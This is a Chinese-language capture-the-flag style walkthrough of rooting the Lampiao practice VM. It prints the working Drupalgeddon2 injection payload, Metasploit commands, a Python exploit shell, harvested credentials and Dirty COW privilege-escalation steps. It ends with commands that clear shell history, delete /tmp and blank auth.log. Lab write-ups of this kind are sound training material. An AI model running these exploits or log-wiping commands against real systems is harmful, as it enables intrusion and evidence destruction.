从信息收集到Root权限:一次完整的Lampiao靶机渗透实战解析
1. 环境准备与信息收集
第一次接触Lampiao靶机时,我习惯性地先搭建了一个隔离的测试环境。建议使用VirtualBox或VMware创建一个独立的NAT网络,把Kali攻击机和Lampiao靶机放在同一个网段。这里有个小技巧:在VirtualBox的全局设置里创建专用NAT网络,能避免干扰真实网络环境。
用ifconfig确认Kali的IP后,开始扫描同网段存活主机。很多人喜欢直接用nmap -sP,但我更推荐这个组合命令:
arp-scan -l --interface=eth0 | grep -v "DUP"它能快速列出活跃IP且避免重复结果。最近一次测试中,我发现靶机IP是192.168.56.103,这个结果比传统Ping扫描更可靠,特别是在某些禁Ping的环境。
接下来用半开放扫描探测开放端口:
nmap -sS -T4 --min-rate 1000 -p- 192.168.56.103参数解释:
-T4:加速扫描(我的老笔记本扛不住T5)--min-rate 1000:每秒至少发1000个包-p-:全端口扫描
扫描结果显示80和1898端口的HTTP服务最有价值。这里有个细节:1898端口的服务头显示是Apache/2.4.18,而80端口是Nginx,这种混合Web服务器配置往往藏着配置漏洞。
2. Web渗透与初始突破
访问1898端口发现Drupal 7.54,这个版本存在著名的Drupalgeddon2漏洞(CVE-2018-7600)。我试过三种利用方式:
手动验证漏洞:在用户注册页注入:
POST /?q=user/register HTTP/1.1 ... form_id=user_register_form&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id如果返回uid信息,说明存在RCE漏洞。
MSF自动化利用:
use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.103 set RPORT 1898 set TARGETURI / exploit实测发现需要调整targeturi参数为"/"才能成功,这是很多教程没提到的坑。
手工利用脚本:我修改了公开的Python脚本,添加了交互式shell维持功能:
import requests from cmd import Cmd class Terminal(Cmd): prompt = 'Drupal> ' def default(self, args): resp = requests.post(target, data=payload.format(args), verify=False) print(resp.text.split('<!--')[0]) payload = {'form_id':'user_register_form', 'mail[#type]':'markup', 'mail[#markup]':'{}', ...} terminal().cmdloop()3. 横向移动与凭证获取
拿到www-data权限后,我习惯先做这几件事:
- 升级shell:
python3 -c 'import pty;pty.spawn("/bin/bash")' - 检查sudo权限:
sudo -l - 查找配置文件:
find /var/www -name "settings.php"
在/var/www/html/sites/default/settings.php中发现数据库凭证:
$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupal', 'username' => 'drupaluser', 'password' => 'Virgulino', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', ), ), );用这个密码成功SSH登录系统用户tiago:
ssh tiago@192.168.56.103 # 密码Virgulino4. 内核提权实战
查看内核版本:uname -r显示3.13.0-32-generic,正好在脏牛漏洞影响范围内。我测试了两种提权方法:
方法一:MSF编译上传
searchsploit dirty # 找到40847.cpp upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp g++ -Wall -pedantic -O2 -std=c++11 -pthread -o cow /tmp/40847.cpp -lutil ./cow执行后会自动把root密码改为dirtyCowFun,实测成功率90%。
方法二:手动编译遇到g++缺失时,可以这样解决:
# 靶机上: nc -lvp 4444 > dcow.tar.gz # Kali上: tar czvf dcow.tar.gz 40847.cpp nc 192.168.56.103 4444 < dcow.tar.gz # 靶机解压后: make ./dcow这种方法的优势是不依赖g++,直接用make编译。
提权成功后,记得清理痕迹:
history -c rm -rf /tmp/* echo "" > /var/log/auth.log整个渗透过程最耗时的其实是信息收集阶段,约占总时间的60%。建议新手重点关注Nmap的高级用法和Web目录爆破技巧,比如用gobuster时加上-x php,html,txt扩展名参数能显著提高效率。
